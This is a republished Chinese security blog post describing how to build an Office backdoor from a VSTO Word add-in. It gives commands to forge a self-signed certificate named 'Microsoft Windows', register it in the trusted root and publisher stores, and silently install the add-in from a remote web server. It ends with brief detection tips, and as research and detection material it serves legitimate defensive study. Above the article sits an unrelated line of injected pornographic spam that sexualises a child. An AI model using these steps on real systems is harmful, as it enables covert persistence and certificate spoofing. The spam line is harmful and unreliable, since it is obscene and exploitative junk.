小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

利用VSTO實(shí)現(xiàn)的office后門 – 3gstudent – Good in study, attitude and health

 vbavsto 2019-03-27

0x00 前言

最近看了一篇文章《VSTO: The Payload Installer That Probably Defeats Your Application Whitelisting Rules》,介紹了利用VSTO實(shí)現(xiàn)Office后門的方法,我在之前的文章《Use Office to maintain persistence》《Office Persistence on x64 operating system》曾對Office的后門進(jìn)行過學(xué)習(xí),本文將結(jié)合自己的研究心得,對該方法進(jìn)行復(fù)現(xiàn),分析利用思路,分享實(shí)際利用方法,最后介紹如何識別這種后門。

文章地址:

https:///2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/

0x01 簡介


本文將要介紹以下內(nèi)容:

  • VSTO的編寫方法
  • 實(shí)際利用思路
  • 后門檢測

0x02 VSTO的編寫方法


1、VSTO簡介

全稱Visual Studio Tools for Office

用來定制Office應(yīng)用程序,能夠同office控件交互

集成在Visual Studio安裝包中

如下圖

Alt text

2、VSTO開發(fā)

本節(jié)內(nèi)容是對《VSTO: The Payload Installer That Probably Defeats Your Application Whitelisting Rules》的復(fù)現(xiàn)

(1) 新建工程

Visual c# -> Office -> Word 2010外接程序

如下圖

Alt text

(2) 添加代碼

添加引用System.Windows.Forms

添加彈框代碼:

using System.Windows.Forms;
MessageBox.Show("1");

如下圖

Alt text

(3) 編譯

設(shè)置對應(yīng).Net版本,編譯,生成如下6個文件:

  • Microsoft.Office.Tools.Common.v4.0.Utilities.dll
  • Microsoft.Office.Tools.Common.v4.0.Utilities.xml
  • WordAddIn2.dll
  • WordAddIn2.dll.manifest
  • WordAddIn2.pdb
  • WordAddIn2.vsto

(4) 安裝插件

執(zhí)行WordAddIn2.vsto

彈框提示無法驗(yàn)證發(fā)行者,如下圖

Alt text

選擇安裝

查看控制面板 -> 程序 -> 程序和功能,能夠找到新安裝的插件

#### (5) 打開word.exe,自動加載插件

彈框,如下圖

Alt text

查看Word加載項(xiàng),能夠看到加載插件WordAddIn2,如下圖

Alt text

至此,成功實(shí)現(xiàn)Office后門的安裝

0x03 實(shí)際利用思路


對于實(shí)際利用,首先需要滿足安裝過程無界面,所以要繞過彈框提示無法驗(yàn)證發(fā)行者,需要做如下改進(jìn):

(1) 命令行安裝VSTO插件

使用VSTOInstaller.exe

系統(tǒng)安裝Office后包含,默認(rèn)路徑%ProgramFiles%\Common Files\microsoft shared\VSTO\10.0

參數(shù)說明:

/i: 安裝

/u: 卸載

/s: 靜默操作,如果需要信任提示,將不會安裝或更新自定義項(xiàng)

安裝參數(shù)如下:

"C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe" /i /s c:\test\WordAddIn2

由于信任提示,無法驗(yàn)證發(fā)行者,所以安裝失敗

(2) 繞過驗(yàn)證發(fā)行者

VSTO插件提供簽名功能,如下圖

Alt text

手動生成一組簽名證書,使用如下工具

  • makecert.exe
  • cert2spc.exe
  • pvk2pfx.exe
  • certmgr.exe

來自于Windows SDK,可供參考下載的地址:

https://github.com/3gstudent/signtools

生成命令:

makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f

執(zhí)行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四個文件

替換插件WordAddIn2的證書,如下圖

Alt text

證書注冊(管理員權(quán)限):

certmgr.exe -add Root.cer -c -s -r localMachine TrustedPublisher
certmgr.exe -add -c Root.cer -s -r localmachine root

注:

需要將證書同時添加到TrustedPublisherroot

再次安裝VSTO插件,不會被攔截

(3) 遠(yuǎn)程安裝

VSTOInstaller.exe支持遠(yuǎn)程安裝

可以將VSTO插件放在遠(yuǎn)程Web服務(wù)器上

安裝參數(shù)如下:

"C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe" /s /i http://192.168.62.131/1/WordAddIn1.vsto

綜上,實(shí)際利用過程如下:

  • 生成VSTO插件
  • 為插件添加簽名
  • 證書注冊
  • 遠(yuǎn)程下載安裝

0x04 后門檢測


1、查看控制面板 -> 程序 -> 程序和功能,是否有可疑插件

注:

VSTO插件并不會在注冊表卸載配置的位置(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\)創(chuàng)建新鍵值

2、查看Office的COM加載項(xiàng)

注:

禁用宏并不會阻止VSTO插件的加載

0x05 小結(jié)


本文測試了利用VSTO實(shí)現(xiàn)Office后門的方法,結(jié)合實(shí)際利用思路,分析檢測方法


LEAVE A REPLY

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多